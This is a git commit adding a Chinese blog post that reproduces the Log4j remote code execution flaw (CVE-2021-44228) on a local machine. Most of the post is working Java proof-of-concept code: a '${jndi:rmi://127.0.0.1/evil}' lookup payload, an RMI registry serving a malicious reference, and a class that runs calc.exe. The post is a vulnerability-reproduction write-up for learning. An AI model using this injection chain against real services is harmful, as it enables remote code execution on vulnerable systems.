2021/12/13 log4j-rce
This commit is contained in:
parent
4d6ff1d207
commit
9b0e5ac1cf
143
content/post/054.Log4j/054.Log4j.md
Normal file
143
content/post/054.Log4j/054.Log4j.md
Normal file
@ -0,0 +1,143 @@
|
||||
title: "一个只会做开发的小白的 Log4j RCE 漏洞复现过程"
|
||||
categories: [ "漏洞", "RCE" ]
|
||||
tags: [ "RCE", "Log4j" ]
|
||||
draft: false
|
||||
slug: "log4j-rce"
|
||||
date: "2021-12-13 17:25:00"
|
||||
|
||||
|
||||
|
||||
## 前言
|
||||
|
||||
CVE编号:**CVE-2021-44228**
|
||||
|
||||
|
||||
|
||||
这次的 RCE 漏洞影响确实大,堪称核武器级别,因为其复现极其简单,发出没多久几乎整个 IT 圈都知道了。我一个搞开发的,以往也就关注一些前沿的新技术消息,这次来关注一下安全圈的事件。
|
||||
|
||||
|
||||
|
||||
Log4j 是 Apache 的一款日志库,用途范围极其广泛,Spring 等框架均包含。
|
||||
|
||||
|
||||
|
||||
受影响的组件包含但不限于:
|
||||
|
||||
- Apache Struts2
|
||||
- Apache Solr
|
||||
- Apache Druid
|
||||
- Apache Flink
|
||||
- Apache Flume
|
||||
- Apache Dubbo
|
||||
- Apache Kafka
|
||||
- Spring-boot-starter-log4j2
|
||||
- ElasticSearch
|
||||
|
||||
|
||||
|
||||
## RCE 过程整理
|
||||
|
||||
影响版本:Apache Log4j Core <= 2.14.1
|
||||
|
||||
|
||||
|
||||
本文的代码仓库:https://github.com/taurusxin/CVE-2021-44228
|
||||
|
||||
### 复现
|
||||
|
||||
若某一服务中包含有 使用 Log4j 对用户输入内容的日志记录,那么便可触发 RCE
|
||||
|
||||
```java
|
||||
package me.xingez;
|
||||
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
|
||||
public class Log4jTest {
|
||||
private static final Logger LOGGER = LogManager.getLogger();
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
String testPayload = "${jndi:rmi://127.0.0.1/evil}";
|
||||
|
||||
LOGGER.error(testPayload);
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
用户构造恶意 jdni 服务,将含有 `${jdni:xxx}` 的字符串提交到后端,记录日志时便可执行 lookup
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
其中我使用的 jdni 服务为 RMI registry,代码如下
|
||||
|
||||
|
||||
|
||||
`RmiServer.java`
|
||||
|
||||
```java
|
||||
package me.xingez.rmi;
|
||||
|
||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
import java.rmi.registry.Registry;
|
||||
|
||||
public class RmiServer {
|
||||
public static void main(String[] args) {
|
||||
|
||||
try {
|
||||
// 注册 registry 监听端口
|
||||
LocateRegistry.createRegistry(1099);
|
||||
Registry registry = LocateRegistry.getRegistry();
|
||||
|
||||
System.out.println("Create RMI registry on port 1099...");
|
||||
|
||||
// 实例化恶意代码类的引用
|
||||
Reference reference = new Reference("me.xingez.rmi.EvilCode",
|
||||
"me.xingez.rmi.EvilCode", null);
|
||||
|
||||
// 绑定服务为 evil
|
||||
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
|
||||
registry.bind("evil", wrapper);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
`EvilCode.java`
|
||||
|
||||
```java
|
||||
package me.xingez.rmi;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class EvilCode {
|
||||
// 当 lookup 时,直接执行该类的静态块
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec("calc.exe");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
声明:以上所有代码块均为安全测试时使用,切勿用于非法用途,使用此代码导致的后果与本人无关。
|
||||
|
||||
## 结语
|
||||
|
||||
这个漏洞触发简单到用发送一条消息的办法就可以做到,因为我是一名 MC 玩家兼 MC 服务器服主,所以这个问题对我来说是不可忽视的,好在我们服务器现在运行的是最新的 1.18,使用 Java 17,不存在此问题。
|
||||
|
||||
最后祝愿这几天修代码的安全工程师、开发者都保重身体健康!
|
Loading…
x
Reference in New Issue
Block a user